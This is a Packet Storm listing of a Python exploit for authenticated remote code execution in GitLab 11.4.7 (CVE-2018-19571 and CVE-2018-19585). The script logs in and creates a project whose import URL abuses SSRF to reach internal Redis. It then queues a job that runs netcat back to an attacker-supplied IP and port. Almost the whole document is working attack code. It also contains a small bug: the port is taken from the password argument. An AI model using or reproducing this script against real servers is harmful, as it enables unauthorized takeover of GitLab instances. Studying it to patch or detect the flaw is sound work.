GitLab 11.4.7 Remote Code Execution

GitLab version 11.4.7 authenticated remote code execution exploit. Original discovery of this issue attributed to Mohin Paramasivam in December of 2020.


MD5 | 1a523ed1223d47bac34dc42a48d74d42

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# Exploit Title: GitLab 11.4.7 - RCE (Authenticated)
# Date: 24th December 2020
# Exploit Author: Sam Redmond
# Software Link: https://gitlab.com/
# Environment: GitLab 11.4.7, community edition
# CVE: CVE-2018-19571 + CVE-2018-19585
# Version: 11.4.7

#!/usr/bin/python3

import requests
from bs4 import BeautifulSoup
import argparse
import random


parser = argparse.ArgumentParser(description='GitLab 11.4.7 RCE')
parser.add_argument('-u', help='GitLab Username/Email', required=True)
parser.add_argument('-p', help='Gitlab Password', required=True)
parser.add_argument('-g', help='Gitlab URL (without port)', required=True)
parser.add_argument('-l', help='reverse shell ip', required=True)
parser.add_argument('-P', help='reverse shell port', required=True)
args = parser.parse_args()

username = args.u
password = args.p
gitlab_url = args.g + ":5080"
local_ip = args.l
local_port = args.p

session = requests.Session()

# Get Authentication Token
r = session.get(gitlab_url + "/users/sign_in")
soup = BeautifulSoup(r.text, features="lxml")
token = soup.findAll('meta')[16].get("content")
print(f"[+] authenticity_token: {token}")

login_form = {
    "authenticity_token": token,
    "user[login]": username,
    "user[password]": password,
    "user[remember_me]": "0"
}
r = session.post(f"{gitlab_url}/users/sign_in", data=login_form)

if r.status_code != 200:
    exit(f"Login Failed:{r.text}")

# Create project
import_url = "git%3A%2F%2F%5B0%3A0%3A0%3A0%3A0%3Affff%3A127.0.0.1%5D%3A6379%2Ftest%2F.git"
project_name = f'project{random.randrange(1, 10000)}'
project_url = f'{gitlab_url}/{username}'

print(f"[+] Creating project with random name: {project_name}")

form = """\nmulti
    sadd resque:gitlab:queues system_hook_push
    lpush resque:gitlab:queue:system_hook_push "{\\"class\\":\\"GitlabShellWorker\\",\\"args\\":[\\"class_eval\\",\\"open(\\'|""" + f'nc {local_ip} {local_port}' + """ \\').read\\"],\\"retry\\":3,\\"queue\\":\\"system_hook_push\\",\\"jid\\":\\"ad52abc5641173e217eb2e52\\",\\"created_at\\":1608799993.1234567,\\"enqueued_at\\":1608799993.1234567}"
    exec
    exec
    exec\n"""

r = session.get(f"{gitlab_url}/projects/new")
soup = BeautifulSoup(r.text, features="lxml")

namespace_id = soup.find(
    'input', {'name': 'project[namespace_id]'}).get('value')

project_token = soup.findAll('meta')[16].get("content")
project_token = project_token.replace("==", "%3D%3D")
project_token = project_token.replace("+", "%2B")

payload = f"utf8=%E2%9C%93&authenticity_token={project_token}&project%5Bimport_url%5D={import_url}{form}&project%5Bci_cd_only%5D=false&project%5Bname%5D={project_name}&project%5Bnamespace_id%5D={namespace_id}&project%5Bpath%5D={project_name}&project%5Bdescription%5D=&project%5Bvisibility_level%5D=0"

cookies = {
    'sidebar_collapsed': 'false',
    'event_filter': 'all',
    'hide_auto_devops_implicitly_enabled_banner_1': 'false',
    '_gitlab_session': session.cookies['_gitlab_session'],
}

headers = {
    'User-Agent': 'Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US);',
    'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
    'Accept-Language': 'en-US,en;q=0.5',
    'Accept-Encoding': 'gzip, deflate',
    'Referer': f'{gitlab_url}/projects',
    'Content-Type': 'application/x-www-form-urlencoded',
    'Content-Length': '398',
    'Connection': 'close',
    'Upgrade-Insecure-Requests': '1',
}

print("[+] Running Exploit")
r = session.post(
    gitlab_url+'/projects', data=payload, cookies=cookies, headers=headers, verify=False)
if "The change you requested was rejected." in r.text:
    exit('Exploit failed, check input params')

print('[+] Exploit completed successfully!')


Source: packetstormsecurity.com
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